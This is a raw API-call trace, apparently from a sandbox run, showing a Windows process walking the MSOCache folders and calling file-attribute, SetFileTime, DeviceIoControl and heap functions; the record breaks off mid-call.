0x94f258 [0040.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5428 [0040.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d2868 [0040.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.832] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.832] GetLastError () returned 0x12 [0040.832] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0040.832] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0040.832] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.832] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0040.832] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="")) returned 1 [0040.832] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="")) returned 1 [0040.832] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.832] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.832] GetLastError () returned 0x12 [0040.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6970) returned 1 [0040.832] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0040.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6a78) returned 1 [0040.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0040.833] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.833] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.835] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0040.835] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0040.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0040.835] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0040.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0040.835] NtClose (Handle=0x15c) returned 0x0 [0040.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0040.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0040.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6a78 [0040.835] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0040.835] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.835] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6970 [0040.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0040.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5448 [0040.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d2970 [0040.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.836] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0040.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d96a8 [0040.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d2a78 [0040.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x9d5470 [0040.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4970) returned 1 [0040.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.836] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0040.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d96c8 [0040.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d2b80 [0040.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.836] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0040.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d96e8 [0040.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d2c88 [0040.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.837] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0040.837] GetLastError () returned 0x12 [0040.837] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0040.837] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0040.837] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.837] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.837] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0040.837] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0040.837] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0040.837] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0040.837] GetLastError () returned 0x12 [0040.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6a78) returned 1 [0040.837] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0040.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6970) returned 1 [0040.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0040.837] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.837] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.877] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0040.877] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0040.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9e90 [0040.877] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9e90, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9e90, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0040.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9e90) returned 1 [0040.877] NtClose (Handle=0x164) returned 0x0 [0040.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0040.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0040.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6970 [0040.878] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0041.331] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.331] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="")) returned 1 [0041.331] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.331] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.331] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.332] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6a78 [0041.332] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0041.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9708 [0041.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d2d90 [0041.332] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.332] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="")) returned 1 [0041.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.332] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.332] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9728 [0041.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d2e98 [0041.332] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.332] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0041.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.332] RtlFreeHeap 